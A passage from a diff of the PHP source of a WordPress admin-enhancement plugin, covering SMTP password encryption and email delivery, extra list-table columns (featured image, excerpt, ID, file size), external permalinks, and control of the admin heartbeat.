if ( $this->is_smtp_password_v2_encrypted( $stored_password ) ) {
$outer_plaintext = $this->decrypt_smtp_password( $stored_password );
if ( false !== $outer_plaintext && !$this->is_probable_smtp_ciphertext( $outer_plaintext ) && $outer_plaintext === $plaintext_password ) {
$this->mark_smtp_password_storage_version_v2();
$this->clear_smtp_password_unavailable_flag();
return true;
}
}
$encrypted_password = $this->encrypt_smtp_password( $plaintext_password );
if ( empty( $encrypted_password ) ) {
$this->set_smtp_password_unavailable_flag();
return false;
}
$options['smtp_password'] = $encrypted_password;
update_option( ASENHA_SLUG_U, $options, true );
$this->clear_smtp_password_unavailable_flag();
return true;
}
/**
* Output a global admin notice when SMTP authentication cannot use the stored password.
*
* @since 8.8.5
*
* @return void
*/
public function maybe_show_smtp_password_admin_notice() {
if ( !is_admin() || !current_user_can( 'manage_options' ) ) {
return;
}
$options = get_option( ASENHA_SLUG_U, array() );
if ( !is_array( $options ) || empty( $options['smtp_email_delivery'] ) ) {
return;
}
$should_warn = $this->is_smtp_password_unavailable_for_delivery( $options ) || $this->is_smtp_password_unavailable_flagged();
if ( !$should_warn ) {
return;
}
if ( get_user_meta( get_current_user_id(), self::SMTP_PASSWORD_NOTICE_DISMISSED_META, true ) && !$this->is_smtp_password_unavailable_flagged() ) {
return;
}
$settings_url = admin_url( 'tools.php?page=' . ASENHA_SLUG . '#utilities' );
$message = $this->get_smtp_password_reentry_message();
?>
<div class="notice notice-warning is-dismissible asenha-smtp-password-notice" id="asenha-smtp-password-notice">
<p>
<?php
echo esc_html( $message );
?>
<a href="<?php
echo esc_url( $settings_url );
?>"><?php
esc_html_e( 'Open Email Delivery settings', 'admin-site-enhancements' );
?></a>
</p>
</div>
<?php
}
/**
* Dismiss the global SMTP password admin notice for the current administrator.
*
* @since 8.8.5
*
* @return void
*/
public function dismiss_smtp_password_admin_notice() {
if ( !current_user_can( 'manage_options' ) ) {
wp_send_json_error( array(
'message' => __( 'Insufficient permissions.', 'admin-site-enhancements' ),
), 403 );
}
check_ajax_referer( 'asenha-dismiss-smtp-password-notice', 'nonce' );
update_user_meta( get_current_user_id(), self::SMTP_PASSWORD_NOTICE_DISMISSED_META, true );
wp_send_json_success();
}
/**
* Enqueue the dismiss handler for the global SMTP password notice.
*
* @since 8.8.5
*
* @return void
*/
public function enqueue_smtp_password_notice_script() {
if ( !is_admin() || !current_user_can( 'manage_options' ) ) {
return;
}
$options = get_option( ASENHA_SLUG_U, array() );
if ( !is_array( $options ) || empty( $options['smtp_email_delivery'] ) ) {
return;
}
if ( !$this->is_smtp_password_unavailable_for_delivery( $options ) && !$this->is_smtp_password_unavailable_flagged() ) {
return;
}
if ( get_user_meta( get_current_user_id(), self::SMTP_PASSWORD_NOTICE_DISMISSED_META, true ) && !$this->is_smtp_password_unavailable_flagged() ) {
return;
}
wp_enqueue_script( 'jquery' );
wp_add_inline_script( 'jquery', 'jQuery(function($){$(document).on("click","#asenha-smtp-password-notice .notice-dismiss",function(){$.post(ajaxurl,{action:"asenha_dismiss_smtp_password_notice",nonce:' . wp_json_encode( wp_create_nonce( 'asenha-dismiss-smtp-password-notice' ) ) . '});});});' );
}
/**
* Resolve SMTP password for runtime delivery use.
*
* Legacy plaintext remains supported as a migration fallback until the
* settings are re-saved and rewritten to the encrypted format.
*
* @since 8.4.3
*
* @param string|null $stored_password Stored option value.
* @return string
*/
public function get_smtp_password_for_runtime( $stored_password = null ) {
if ( null === $stored_password ) {
$options = get_option( ASENHA_SLUG_U, array() );
$stored_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
}
switch ( $this->get_smtp_password_status( $stored_password ) ) {
case self::SMTP_PASSWORD_STATUS_ENCRYPTED_VALID:
$plaintext_password = $this->unwrap_smtp_password_to_plaintext( $stored_password );
if ( false === $plaintext_password || $this->is_probable_smtp_ciphertext( $plaintext_password ) ) {
$this->set_smtp_password_unavailable_flag();
return '';
}
return $plaintext_password;
case self::SMTP_PASSWORD_STATUS_LEGACY_PLAINTEXT:
if ( $this->is_probable_smtp_ciphertext( $stored_password ) ) {
$this->set_smtp_password_unavailable_flag();
return '';
}
return (string) $stored_password;
default:
return '';
}
}
/**
* Get message shown when the stored SMTP password can no longer be used.
*
* @since 8.4.3
*
* @return string
*/
public function get_smtp_password_reentry_message() {
return __( 'The stored SMTP password can no longer be decrypted. Please enter it again and save changes.', 'admin-site-enhancements' );
}
/**
* Send emails using external SMTP service
*
* @since 4.6.0
*/
public function deliver_email_via_smtp( $phpmailer ) {
$options = get_option( ASENHA_SLUG_U, array() );
$smtp_host = $options['smtp_host'];
$smtp_port = $options['smtp_port'];
$smtp_security = $options['smtp_security'];
$smtp_authentication = ( isset( $options['smtp_authentication'] ) ? $options['smtp_authentication'] : 'enable' );
$smtp_username = $options['smtp_username'];
$smtp_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
$smtp_default_from_name = $options['smtp_default_from_name'];
$smtp_default_from_email = $options['smtp_default_from_email'];
$smtp_force_from = $options['smtp_force_from'];
$smtp_bypass_ssl_verification = $options['smtp_bypass_ssl_verification'];
$smtp_debug = $options['smtp_debug'];
// Do nothing if host or password is empty
// if ( empty( $smtp_host ) || empty( $smtp_password ) ) {
// return;
// }
// Maybe override FROM email and/or name if the sender is "WordPress <wordpress@sitedomain.com>", the default from WordPress core and not yet overridden by another plugin.
$from_name = $phpmailer->FromName;
$from_email_beginning = substr( $phpmailer->From, 0, 9 );
// Get the first 9 characters of the current FROM email
if ( $smtp_force_from ) {
$phpmailer->FromName = $smtp_default_from_name;
$phpmailer->From = $smtp_default_from_email;
// WP 6.9: set SMTP envelope (MAIL FROM) using PHPMailer::Sender only.
// PHPMailer maintainers treat envelope bounce handling as **Sender**, not a separate ReturnPath property;
// receiving MTAs derive Return-Path from the envelope sender.
// Ref: https://make.wordpress.org/core/2025/11/18/more-reliable-email-in-wordpress-6-9/
$phpmailer->Sender = $smtp_default_from_email;
} else {
if ( 'WordPress' === $from_name && !empty( $smtp_default_from_name ) ) {
$phpmailer->FromName = $smtp_default_from_name;
}
if ( 'wordpress' === $from_email_beginning && !empty( $smtp_default_from_email ) ) {
$phpmailer->From = $smtp_default_from_email;
// WP 6.9: set SMTP envelope (MAIL FROM) using PHPMailer::Sender only.
// PHPMailer maintainers treat envelope bounce handling as **Sender**, not a separate ReturnPath property;
// receiving MTAs derive Return-Path from the envelope sender.
// Ref: https://make.wordpress.org/core/2025/11/18/more-reliable-email-in-wordpress-6-9/
$phpmailer->Sender = $smtp_default_from_email;
}
}
$smtp_password = $this->get_smtp_password_for_runtime( $smtp_password );
if ( 'enable' === $smtp_authentication && !empty( $smtp_host ) && !empty( $smtp_port ) && !empty( $smtp_security ) && '' === trim( $smtp_password ) ) {
$this->set_smtp_password_unavailable_flag();
$this->pending_smtp_password_log_error = __( 'SMTP password unavailable (decryption failed or not configured).', 'admin-site-enhancements' );
}
// Only attempt to send via SMTP if all the required info is present. Otherwise, use default PHP Mailer settings as set by wp_mail()
if ( !empty( $smtp_host ) && !empty( $smtp_port ) && !empty( $smtp_security ) ) {
// Send using SMTP
$phpmailer->isSMTP();
// phpcs:ignore
if ( 'enable' == $smtp_authentication ) {
$phpmailer->SMTPAuth = true;
// phpcs:ignore
} else {
$phpmailer->SMTPAuth = false;
// phpcs:ignore
}
// Set some other defaults
// $phpmailer->CharSet = 'utf-8'; // phpcs:ignore
$phpmailer->XMailer = 'Admin and Site Enhancements v' . ASENHA_VERSION . ' - a WordPress plugin';
// phpcs:ignore
$phpmailer->Host = $smtp_host;
// phpcs:ignore
$phpmailer->Port = $smtp_port;
// phpcs:ignore
$phpmailer->SMTPSecure = $smtp_security;
// phpcs:ignore
if ( 'enable' == $smtp_authentication ) {
$phpmailer->Username = trim( $smtp_username );
// phpcs:ignore
$phpmailer->Password = trim( $smtp_password );
// phpcs:ignore
}
}
// If verification of SSL certificate is bypassed
// Reference: https://www.php.net/manual/en/context.ssl.php & https://stackoverflow.com/a/30803024
if ( $smtp_bypass_ssl_verification ) {
$phpmailer->SMTPOptions = [
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
'allow_self_signed' => true,
],
];
}
// If debug mode is enabled, send debug info (SMTP::DEBUG_CONNECTION) to WordPress debug.log file set in wp-config.php
// Reference: https://github.com/PHPMailer/PHPMailer/wiki/SMTP-Debugging
if ( $smtp_debug ) {
$phpmailer->SMTPDebug = 4;
//phpcs:ignore
$phpmailer->Debugoutput = 'error_log';
//phpcs:ignore
}
}
/**
* Send a test email and use SMTP host if defined in settings
*
* @since 5.3.0
*/
public function send_test_email() {
if ( isset( $_REQUEST['email_to'] ) && isset( $_REQUEST['nonce'] ) && current_user_can( 'manage_options' ) ) {
if ( wp_verify_nonce( sanitize_text_field( $_REQUEST['nonce'] ), 'send-test-email-nonce_' . get_current_user_id() ) ) {
$options = get_option( ASENHA_SLUG_U, array() );
$smtp_host = ( isset( $options['smtp_host'] ) ? $options['smtp_host'] : '' );
$smtp_port = ( isset( $options['smtp_port'] ) ? $options['smtp_port'] : '' );
$smtp_security = ( isset( $options['smtp_security'] ) ? $options['smtp_security'] : '' );
$smtp_authentication = ( isset( $options['smtp_authentication'] ) ? $options['smtp_authentication'] : 'enable' );
$smtp_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
$smtp_password_status = $this->get_smtp_password_status( $smtp_password );
$smtp_is_configured = !empty( $smtp_host ) && !empty( $smtp_port ) && !empty( $smtp_security );
$runtime_smtp_password = $this->get_smtp_password_for_runtime( $smtp_password );
if ( $smtp_is_configured && 'enable' === $smtp_authentication && (self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID === $smtp_password_status || '' === $runtime_smtp_password || $this->is_probable_smtp_ciphertext( $runtime_smtp_password )) ) {
wp_send_json( array(
'status' => 'failed',
'message' => $this->get_smtp_password_reentry_message(),
) );
}
$content = array(
array(
'title' => 'Hey... are you getting this?',
'body' => '<p><strong>Looks like you did!</strong></p>',
),
array(
'title' => 'There\'s a message for you...',
'body' => '<p><strong>Here it is:</strong></p>',
),
array(
'title' => 'Is it working?',
'body' => '<p><strong>Yes, it\'s working!</strong></p>',
),
array(
'title' => 'Hope you\'re getting this...',
'body' => '<p><strong>Looks like this was sent out just fine and you got it.</strong></p>',
),
array(
'title' => 'Testing delivery configuration...',
'body' => '<p><strong>Everything looks good!</strong></p>',
),
array(
'title' => 'Testing email delivery',
'body' => '<p><strong>Looks good!</strong></p>',
),
array(
'title' => 'Config is looking good',
'body' => '<p><strong>Seems like everything has been set up properly!</strong></p>',
),
array(
'title' => 'All set up',
'body' => '<p><strong>Your configuration is working properly.</strong></p>',
),
array(
'title' => 'Good to go',
'body' => '<p><strong>Config is working great.</strong></p>',
),
array(
'title' => 'Good job',
'body' => '<p><strong>Everything is set.</strong></p>',
)
);
$random_number = rand( 0, count( $content ) - 1 );
$to = sanitize_email( wp_unslash( $_REQUEST['email_to'] ) );
$title = $content[$random_number]['title'];
$body = $content[$random_number]['body'] . '<p>This message was sent from <a href="' . get_bloginfo( 'url' ) . '">' . get_bloginfo( 'url' ) . '</a> on ' . wp_date( 'F j, Y' ) . ' at ' . wp_date( 'H:i:s' ) . ' via ASE.</p>';
$headers = array('Content-Type: text/html; charset=UTF-8');
$success = wp_mail(
$to,
$title,
$body,
$headers
);
if ( $success ) {
$response = array(
'status' => 'success',
);
} else {
$response = array(
'status' => 'failed',
);
}
wp_send_json( $response );
}
}
}
}
@@ -0,0 +1,504 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Enhance List Tables module
*
* @since 6.9.5
*/
class Enhance_List_Tables {
/**
* Current post type. For Content Admin >> Show Custom Taxonomy Filters functionality.
*/
public $post_type;
/**
* Show featured images column in list tables for pages and post types that support featured image
*
* @since 1.0.0
*/
public function show_featured_image_column() {
$post_types = get_post_types( array(
'public' => true,
), 'names' );
foreach ( $post_types as $post_type_key => $post_type_name ) {
if ( post_type_supports( $post_type_key, 'thumbnail' ) ) {
add_filter( "manage_{$post_type_name}_posts_columns", [$this, 'add_featured_image_column'], 999 );
add_action(
"manage_{$post_type_name}_posts_custom_column",
[$this, 'add_featured_image'],
10,
2
);
}
}
}
/**
* Add a column called Featured Image as the first column
*
* @param mixed $columns
* @return void
* @since 1.0.0
*/
public function add_featured_image_column( $columns ) {
$new_columns = array();
foreach ( $columns as $key => $value ) {
if ( 'title' == $key ) {
// We add featured image column before the 'title' column
$new_columns['asenha-featured-image'] = __( 'Featured Image', 'admin-site-enhancements' );
}
if ( 'thumb' == $key ) {
// For WooCommerce products, we add featured image column before it's native thumbnail column
$new_columns['asenha-featured-image'] = __( 'Product Image', 'admin-site-enhancements' );
}
$new_columns[$key] = $value;
}
// Replace WooCommerce thumbnail column with ASE featured image column
if ( array_key_exists( 'thumb', $new_columns ) ) {
unset($new_columns['thumb']);
}
return $new_columns;
}
/**
* Echo featured image's in thumbnail size to a column
*
* @param mixed $column_name
* @param mixed $id
* @since 1.0.0
*/
public function add_featured_image( $column_name, $id ) {
if ( 'asenha-featured-image' === $column_name ) {
if ( has_post_thumbnail( $id ) ) {
$size = 'thumbnail';
echo '<a href="' . get_edit_post_link( $id ) . '">' . get_the_post_thumbnail( $id, $size, '' ) . '</a>';
} else {
echo '<a href="' . get_edit_post_link( $id ) . '"><img src="' . esc_url( plugins_url( 'assets/img/default_featured_image.jpg', __DIR__ ) ) . '" /></a>';
}
}
}
/**
* Show excerpt column in list tables for pages and post types that support excerpt.
*
* @since 1.0.0
*/
public function show_excerpt_column() {
$post_types = get_post_types( array(
'public' => true,
), 'names' );
foreach ( $post_types as $post_type_key => $post_type_name ) {
if ( post_type_supports( $post_type_key, 'excerpt' ) ) {
add_filter( "manage_{$post_type_name}_posts_columns", [$this, 'add_excerpt_column'] );
add_action(
"manage_{$post_type_name}_posts_custom_column",
[$this, 'add_excerpt'],
10,
2
);
}
}
}
/**
* Add a column called Excerpt as the first column
*
* @param mixed $columns
* @return void
* @since 1.0.0
*/
public function add_excerpt_column( $columns ) {
$new_columns = array();
foreach ( $columns as $key => $value ) {
$new_columns[$key] = $value;
if ( $key == 'title' ) {
$new_columns['asenha-excerpt'] = __( 'Excerpt', 'admin-site-enhancements' );
}
}
return $new_columns;
}
/**
* Echo featured image's in thumbnail size to a column
*
* @param mixed $column_name
* @param mixed $id
* @since 1.0.0
*/
public function add_excerpt( $column_name, $id ) {
if ( 'asenha-excerpt' === $column_name ) {
$excerpt = wp_strip_all_tags( get_the_excerpt( $id ) );
// about 310 characters
$excerpt = substr( $excerpt, 0, 160 );
// truncate to 160 characters
$short_excerpt = substr( $excerpt, 0, strrpos( $excerpt, ' ' ) );
echo wp_kses_post( $short_excerpt );
}
}
/**
* Show last modified column for pages, posts and CPTs
*
* @since 7.4.0
*/
public function show_last_modified_column() {
foreach ( get_post_types() as $post_type ) {
add_filter(
'manage_' . $post_type . '_posts_columns',
[$this, 'add_last_modified_column'],
10,
1
);
add_action(
'manage_' . $post_type . '_posts_custom_column',
[$this, 'show_last_modified_datetime'],
10,
2
);
add_filter(
'manage_edit-' . $post_type . '_sortable_columns',
[$this, 'make_last_modified_column_sortable'],
10,
1
);
}
}
/**
* Add a column called Last Modified
*
* @since 7.4.0
*/
public function add_last_modified_column( $columns ) {
$new_columns = array();
foreach ( $columns as $key => $value ) {
$new_columns[$key] = $value;
if ( $key == 'date' ) {
$new_columns['asenha-last-modified'] = __( 'Last Modified', 'admin-site-enhancements' );
}
}
return $new_columns;
}
/**
* Output the last modified date time for each post
*
* @since 7.4.0
*/
public function show_last_modified_datetime( $column_name, $id ) {
if ( 'asenha-last-modified' == $column_name ) {
$modified_date_time_unix = strtotime( get_post_field( 'post_modified_gmt', $id ) );
echo '<span class="last-modified-timestamp">' . wp_date( get_option( 'date_format' ), $modified_date_time_unix ) . '<br />' . wp_date( get_option( 'time_format' ), $modified_date_time_unix ) . '</span>';
}
}
/**
* Make last modified column sortable
*
* @since 7.4.0
*/
public function make_last_modified_column_sortable( $columns ) {
$columns['asenha-last-modified'] = 'modified';
return $columns;
}
/**
* Add ID column list table of pages, posts, custom post types, media, taxonomies, custom taxonomies, users amd comments
*
* @since 1.0.0
*/
public function show_id_column() {
// For pages and hierarchical post types list table
add_filter( 'manage_pages_columns', [$this, 'add_id_column'] );
add_action(
'manage_pages_custom_column',
[$this, 'add_id_echo_value'],
10,
2
);
// For posts and non-hierarchical custom posts list table
add_filter( 'manage_posts_columns', [$this, 'add_id_column'] );
add_action(
'manage_posts_custom_column',
[$this, 'add_id_echo_value'],
10,
2
);
// For media list table
add_filter( 'manage_media_columns', [$this, 'add_id_column'] );
add_action(
'manage_media_custom_column',
[$this, 'add_id_echo_value'],
10,
2
);
// For list table of all taxonomies
$taxonomies = get_taxonomies( [
'public' => true,
], 'names' );
foreach ( $taxonomies as $taxonomy ) {
add_filter( 'manage_edit-' . $taxonomy . '_columns', [$this, 'add_id_column'] );
add_action(
'manage_' . $taxonomy . '_custom_column',
[$this, 'add_id_return_value'],
10,
3
);
}
// For users list table
add_filter( 'manage_users_columns', [$this, 'add_id_column'] );
add_action(
'manage_users_custom_column',
[$this, 'add_id_return_value'],
10,
3
);
// For comments list table
add_filter( 'manage_edit-comments_columns', [$this, 'add_id_column'] );
add_action(
'manage_comments_custom_column',
[$this, 'add_id_echo_value'],
10,
3
);
}
/**
* Add a column called ID
*
* @param mixed $columns
* @return void
* @since 1.0.0
*/
public function add_id_column( $columns ) {
$columns['asenha-id'] = 'ID';
return $columns;
}
/**
* Echo post ID value to a column
*
* @param mixed $column_name
* @param mixed $id
* @since 1.0.0
*/
public function add_id_echo_value( $column_name, $id ) {
if ( 'asenha-id' === $column_name ) {
echo esc_html( $id );
}
}
/**
* Return post ID value to a column
*
* @param mixed $value
* @param mixed $column_name
* @param mixed $id
* @since 1.0.0
*/
public function add_id_return_value( $value, $column_name, $id ) {
if ( 'asenha-id' === $column_name ) {
$value = $id;
}
return $value;
}
/**
* Add file size column to media library
*
* @since 6.9.5
*/
public function add_column_file_size( $columns ) {
$columns['asenha-file-size'] = __( 'File Size', 'admin-site-enhancements' );
return $columns;
}
/**
* Display the file size value
*
* @since 6.9.5
*/
public function display_file_size( $column_name, $attachment_id ) {
if ( 'asenha-file-size' != $column_name ) {
return;
}
$file_size = filesize( get_attached_file( $attachment_id ) );
$file_size = size_format( $file_size, 1 );
// Show one decimal point
echo esc_html( $file_size );
}
/**
* Add file size column to media library
*
* @since 6.9.5
*/
public function add_media_styles() {
echo '<style>.column-asenha-file-siz {width: 60px;}</style>';
}
/**
* Add ID in the action row of list tables for pages, posts, custom post types, media, taxonomies, custom taxonomies, users amd comments
*
* @since 4.7.4
*/
public function show_id_in_action_row() {
add_filter(
'page_row_actions',
array($this, 'add_id_in_action_row'),
99,
2
);
add_filter(
'post_row_actions',
array($this, 'add_id_in_action_row'),
99,
2
);
add_filter(
'cat_row_actions',
array($this, 'add_id_in_action_row'),
99,
2
);
add_filter(
'tag_row_actions',
array($this, 'add_id_in_action_row'),
99,
2
);
add_filter(
'media_row_actions',
array($this, 'add_id_in_action_row'),
99,
2
);
add_filter(
'comment_row_actions',
array($this, 'add_id_in_action_row'),
99,
2
);
add_filter(
'user_row_actions',
array($this, 'add_id_in_action_row'),
99,
2
);
}
/**
* Output the ID in the action row
*
* @since 4.7.4
*/
public function add_id_in_action_row( $actions, $object ) {
if ( current_user_can( 'edit_posts' ) ) {
// For pages, posts, custom post types, media/attachments, users
if ( property_exists( $object, 'ID' ) ) {
$id = $object->ID;
}
// For taxonomies
if ( property_exists( $object, 'term_id' ) ) {
$id = $object->term_id;
}
// For comments
if ( property_exists( $object, 'comment_ID' ) ) {
$id = $object->comment_ID;
}
$actions['asenha-list-table-item-id'] = '<span class="asenha-list-table-item-id">ID: ' . $id . '</span>';
}
return $actions;
}
/**
* Show last modified column for pages, posts and CPTs
*
* @since 7.4.0
*/
public function hide_date_column() {
foreach ( get_post_types() as $post_type ) {
add_filter(
'manage_' . $post_type . '_posts_columns',
[$this, 'remove_date_column'],
10,
1
);
}
}
/**
* Add a column called Last Modified
*
* @since 7.4.0
*/
public function remove_date_column( $columns ) {
unset($columns['date']);
return $columns;
}
/**
* Hide comments column in list tables for pages, post types that support comments, and alse media/attachments.
*
* @since 1.0.0
*/
public function hide_comments_column() {
$post_types = get_post_types( array(
'public' => true,
), 'names' );
foreach ( $post_types as $post_type_key => $post_type_name ) {
if ( post_type_supports( $post_type_key, 'comments' ) ) {
if ( 'attachment' != $post_type_name ) {
// For list tables of pages, posts and other post types
add_filter( "manage_{$post_type_name}_posts_columns", [$this, 'remove_comment_column'] );
} else {
// For list table of media/attachment
add_filter( 'manage_media_columns', [$this, 'remove_comment_column'] );
}
}
}
}
/**
* Add a column called ID
*
* @param mixed $columns
* @return void
* @since 1.0.0
*/
public function remove_comment_column( $columns ) {
unset($columns['comments']);
return $columns;
}
/**
* Hide tags column in list tables for posts.
*
* @since 1.0.0
*/
public function hide_post_tags_column() {
$post_types = get_post_types( array(
'public' => true,
), 'names' );
foreach ( $post_types as $post_type_key => $post_type_name ) {
if ( $post_type_name == 'post' ) {
add_filter( "manage_posts_columns", [$this, 'remove_post_tags_column'] );
}
}
}
/**
* Add a column called ID
*
* @param mixed $columns
* @return void
* @since 1.0.0
*/
public function remove_post_tags_column( $columns ) {
unset($columns['tags']);
return $columns;
}
}
@@ -0,0 +1,206 @@
<?php
namespace ASENHA\Classes;
/**
* Class for External Permalinks module
*
* @since 6.9.5
*/
class External_Permalinks {
/**
* Check if External Permalinks is enabled for the given post type.
*
* In the free version, this always behaves like 'only-on'. In the pro
* version, this can be 'only-on', 'except-on' or 'all-post-types'.
*
* @param string $post_type_slug Post type slug.
* @param array $options Plugin options.
* @return bool True when enabled for the post type.
*/
private function is_enabled_for_post_type( $post_type_slug, $options = array() ) {
if ( empty( $post_type_slug ) ) {
return false;
}
$enabled_for = ( isset( $options['enable_external_permalinks_for'] ) && is_array( $options['enable_external_permalinks_for'] ) ? $options['enable_external_permalinks_for'] : array() );
// Only operate on applicable post types (public, excluding attachment).
$applicable_post_types = array_keys( $enabled_for );
$applicable_post_types = array_values( array_diff( $applicable_post_types, array('attachment') ) );
if ( empty( $applicable_post_types ) || !in_array( $post_type_slug, $applicable_post_types, true ) ) {
return false;
}
$type = 'only-on';
$selected_post_types = array();
foreach ( $enabled_for as $slug => $is_enabled ) {
if ( 'attachment' === $slug ) {
continue;
}
if ( $is_enabled ) {
$selected_post_types[] = $slug;
}
}
// Default to 'only-on'.
return in_array( $post_type_slug, $selected_post_types, true );
}
/**
* Add external permalink meta box for enabled post types
*
* @since 3.9.0
*/
public function add_external_permalink_meta_box( $post_type, $post ) {
$options = get_option( ASENHA_SLUG_U, array() );
if ( !$this->is_enabled_for_post_type( $post_type, $options ) ) {
return;
}
// Skip adding meta box for post types where Gutenberg is enabled
// if (
// function_exists( 'use_block_editor_for_post_type' )
// && use_block_editor_for_post_type( $post_type )
// ) {
// return;
// }
add_meta_box(
'asenha-external-permalink',
// ID of meta box
'External Permalink',
// Title of meta box
[$this, 'output_external_permalink_meta_box'],
// Callback function
$post_type,
// The screen on which the meta box should be output to
'normal',
// context
'high'
);
}
/**
* Render External Permalink meta box
*
* @since 3.9.0
*/
public function output_external_permalink_meta_box( $post ) {
?>
<div class="external-permalink-input">
<input name="<?php
echo esc_attr( 'external_permalink' );
?>" class="large-text" id="<?php
echo esc_attr( 'external_permalink' );
?>" type="text" value="<?php
echo esc_url( get_post_meta( $post->ID, '_links_to', true ) );
?>" placeholder="https://" />
<div class="external-permalink-input-description">Keep empty to use the default WordPress permalink. External permalink will open in a new browser tab.</div>
<?php
wp_nonce_field(
'external_permalink_' . $post->ID,
'external_permalink_nonce',
false,
true
);
?>
</div>
<?php
}
/**
* Save external permalink input
*
* @since 3.9.0
*/
public function save_external_permalink( $post_id ) {
// Only proceed if nonce is verified
if ( isset( $_POST['external_permalink_nonce'] ) && wp_verify_nonce( $_POST['external_permalink_nonce'], 'external_permalink_' . $post_id ) ) {
$options = get_option( ASENHA_SLUG_U, array() );
$post_type = get_post_type( $post_id );
if ( !$this->is_enabled_for_post_type( $post_type, $options ) ) {
return;
}
// Get the value of external permalink from input field
$external_permalink = ( isset( $_POST['external_permalink'] ) ? esc_url_raw( trim( $_POST['external_permalink'] ) ) : '' );
// Update or delete external permalink post meta
if ( !empty( $external_permalink ) ) {
update_post_meta( $post_id, '_links_to', $external_permalink );
} else {
delete_post_meta( $post_id, '_links_to' );
}
}
}
/**
* Change WordPress default permalink into external permalink for pages
*
* @since 3.9.0
*/
public function use_external_permalink_for_pages( $permalink, $post_id ) {
$request_uri = sanitize_text_field( $_SERVER['REQUEST_URI'] );
// e.g. /wp-admin/index.php?page=page-slug
if ( false === strpos( $request_uri, 'mfn-live-builder' ) ) {
// When not in BeTheme template builder, that has the 'action=mfn-live-builder' parameter in the URL
$options = get_option( ASENHA_SLUG_U, array() );
$post_type = get_post_type( $post_id );
if ( !$this->is_enabled_for_post_type( $post_type, $options ) ) {
return $permalink;
}
$external_permalink = get_post_meta( $post_id, '_links_to', true );
if ( !empty( $external_permalink ) ) {
$permalink = $external_permalink;
}
}
return $permalink;
}
/**
* Change WordPress default permalink into external permalink for posts and custom post types
*
* @since 3.9.0
*/
public function use_external_permalink_for_posts( $permalink, $post ) {
$request_uri = sanitize_text_field( $_SERVER['REQUEST_URI'] );
// e.g. /wp-admin/index.php?page=page-slug
if ( false === strpos( $request_uri, 'mfn-live-builder' ) ) {
// When not in BeTheme template builder, that has the 'action=mfn-live-builder' parameter in the URL
$options = get_option( ASENHA_SLUG_U, array() );
$post_type = ( is_object( $post ) && isset( $post->post_type ) ? $post->post_type : '' );
if ( !$this->is_enabled_for_post_type( $post_type, $options ) ) {
return $permalink;
}
$external_permalink = get_post_meta( $post->ID, '_links_to', true );
if ( !empty( $external_permalink ) ) {
$permalink = $external_permalink;
if ( !is_admin() ) {
$permalink = $permalink . '#new_tab';
}
}
}
return $permalink;
}
/**
* Redirect page/post to external permalink if it's loaded directly from the WP default permalink
*
* @since 3.9.0
*/
public function redirect_to_external_permalink() {
// If not on/loading the single page/post URL, do nothing
if ( !is_singular() ) {
return;
}
global $post;
if ( !is_null( $post ) && is_object( $post ) && is_a( $post, 'WP_Post' ) ) {
$options = get_option( ASENHA_SLUG_U, array() );
if ( empty( $post->post_type ) || !$this->is_enabled_for_post_type( $post->post_type, $options ) ) {
return;
}
if ( property_exists( $post, 'ID' ) ) {
$external_permalink = get_post_meta( $post->ID, '_links_to', true );
if ( !empty( $external_permalink ) ) {
wp_redirect( $external_permalink, 302 );
// temporary redirect
exit;
}
}
}
}
}
@@ -0,0 +1,125 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Heartbeat Control module
*
* @since 6.9.5
*/
class Heartbeat_Control {
private $current_url_path;
/**
* Maybe modify heartbeat tick frequency based on settings for each location
*
* @since 3.8.0
*/
public function maybe_modify_heartbeat_frequency( $settings ) {
if ( wp_doing_cron() ) {
return $settings;
}
$this->get_url_path(); // defines $current_url_path
$options = get_option( ASENHA_SLUG_U, array() );
// Disable heartbeat autostart
$settings['autostart'] = false;
if ( is_admin() ) {
if ( '/wp-admin/post.php' == $this->current_url_path || '/wp-admin/post-new.php' == $this->current_url_path ) {
// Maybe modify interval on post edit screens
if ( 'modify' == $options['heartbeat_control_for_post_edit'] ) {
$settings['minimalInterval'] = absint( $options['heartbeat_interval_for_post_edit'] );
}
} else {
// Maybe modify interval on admin pages
if ( 'modify' == $options['heartbeat_control_for_admin_pages'] ) {
$settings['minimalInterval'] = absint( $options['heartbeat_interval_for_admin_pages'] );
}
}
} else {
// Maybe modify interval on the frontend
if ( 'modify' == $options['heartbeat_control_for_frontend'] ) {
$settings['minimalInterval'] = absint( $options['heartbeat_interval_for_frontend'] );
}
}
return $settings;
}
/**
* Maybe disable heartbeat ticks based on settings for each location
*
* @since 3.8.0
*/
public function maybe_disable_heartbeat() {
global $pagenow;
$options = get_option( ASENHA_SLUG_U, array() );
if ( is_admin() ) {
if ( 'post.php' == $pagenow || 'post-new.php' == $pagenow ) {
// Maybe disable on post creation / edit screens
if ( 'disable' == $options['heartbeat_control_for_post_edit'] ) {
wp_deregister_script( 'heartbeat' );
return;
}
} else {
// Maybe disable on the rest of admin pages
if ( 'disable' == $options['heartbeat_control_for_admin_pages'] ) {
wp_deregister_script( 'heartbeat' );
return;
}
}
} else {
// Maybe disable on the frontend
if ( 'disable' == $options['heartbeat_control_for_frontend'] ) {
wp_deregister_script( 'heartbeat' );
return;
}
}
}
/**
* Set current location
* Supported locations [editor,dashboard,frontend]
*/
public function get_url_path() {
global $pagenow;
if ( isset( $_SERVER['HTTP_HOST'] ) ) {
$url = ( isset( $_SERVER['HTTPS'] ) ? 'https' : 'http' ) . '://' . $_SERVER["HTTP_HOST"] . '' . $_SERVER["REQUEST_URI"];
} else {
$url = get_admin_url() . $pagenow;
}
$request_path = parse_url( $url, PHP_URL_PATH ); // e.g. '/wp-admin/post.php'
$this->current_url_path = $request_path;
}
}
@@ -0,0 +1,62 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Hide Admin Bar module
*
* @since 6.9.5
*/
class Hide_Admin_Bar {
/**
* Whether the current user should see the frontend admin bar per Hide Admin Bar role rules.
*
* @since 8.9.0
* @return bool True when the toolbar should display on the frontend.
*/
public function is_frontend_admin_bar_visible_for_current_user() {
$options = get_option( ASENHA_SLUG_U );
if ( !is_array( $options ) ) {
return false;
}
$for_roles_frontend = ( isset( $options['hide_admin_bar_for'] ) ? $options['hide_admin_bar_for'] : array() );
